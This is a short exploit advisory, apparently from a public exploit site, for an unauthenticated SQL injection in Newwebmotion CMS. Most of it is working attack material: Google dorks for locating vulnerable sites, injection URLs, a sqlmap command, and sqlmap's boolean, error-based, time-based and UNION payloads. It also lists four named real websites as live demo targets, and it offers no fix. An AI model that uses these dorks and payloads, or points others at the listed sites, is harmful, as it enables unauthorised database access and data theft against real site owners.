facebook facebook twitter rss

Newwebmotion CMS - SQL Injection Vulnerability

Author: Shelesh Rauthan , Published: 24-07-2015
 =========================================================
[+] Title :- Newwebmotion CMS - SQL Injection Vulnerability
[+] Date :- 20 - July - 2015
[+] Vendor Homepage :- http://www.newwebmotion.com/
[+] Version :- All Versions
[+] Tested on :- Nginx/1.4.5, PHP/5.2.17, Linux - Windows
[+] Category :- webapps
[+] Google Dorks :- "Developed By Newwebmotion"
"Developed By Newwebmotion" +inurl:/.php?id=
"Developed By Newwebmotion" +inurl:/.php?pid=
"Developed By Newwebmotion" +inurl:/.php?cid=
[+] Exploit Author :- Shelesh Rauthan (ShOrTy420 aKa SEB@sTiaN)
[+] Team name :- Team Alastor Breeze, Intelligent-Exploit
[+] Official Website :- serverfarming.com, intelligentexploit.com
[+] The official Members :- Sh0rTy420, P@rL0u$, !nfIn!Ty, Th3G0v3Rn3R, m777k
[+] Greedz to :- @@lu, Lalit, MyLappy<3, Diksha, DK
[+] Contact :- fb.com/shelesh.rauthan, indian.1337.hacker@gmail.com, shortycharsobeas@gmail.com

=========================================================
[+] Severity Level :- High

[+] Request Method(s) :- GET / POST

[+] Vulnerable Parameter(s) :- id, pid, cid

[+] Affected Area(s) :- Entire admin, database, Server

[+] About :- Unauthenticated SQL Injection via Multiple Php Files causing an SQL error

[+] SQL vulnerable File :- /home/DOMAIN/public_html/XXX.php

[+] POC :- http://127.0.0.1/XXX.php?id=[SQL]'
http://127.0.0.1/XXX.php?pid=[SQL]'
http://127.0.0.1/XXX.php?cid=[SQL]'

The sql Injection web vulnerability can be be exploited by remote attackers without any privilege of web-application user account or user interaction.


http://www.[WEBSITE].com/detail.php?pid=69' order by [SQL IN4JECTION]--+
http://www.[WEBSITE].com/detail.php?pid=69' union all select [SQL INJECTION]--+


SQLMap
++++++++++++++++++++++++++
python sqlmap.py --url "http://127.0.0.1/XXX.php?id=[SQL]" --dbs
++++++++++++++++++++++++++
---
Parameter: pid (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: pid=69' AND 3254=3254 AND 'DnKT'='DnKT

Type: error-based
Title: MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)
Payload: pid=69' AND EXTRACTVALUE(7055,CONCAT(0x5c,0x716b786271,(SELECT (ELT(7055=7055,1))),0x71787a7a71)) AND 'OpeV'='OpeV

Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: pid=69' AND (SELECT * FROM (SELECT(SLEEP(5)))DSJH) AND 'qhNc'='qhNc


Type: UNION query
Title: Generic UNION query (NULL) - 6 columns
Payload: pid=69' UNION ALL SELECT NULL,NULL,NULL,CONCAT(0x716b786271,0x466e6468594d555a7361,0x71787a7a71),NULL,NULL--
---

[+] DEMO :- http://www.panjaindustries.com/detail.php?pid=69'
http://www.naskarlanddeveloperpvtltd.com/gallery.php?id=6'
http://www.doctorstime.net/gallery.php?id=2319'
http://www.soltech.co.in/product.php?pid=5'


=======================================================

Like us on Facebook :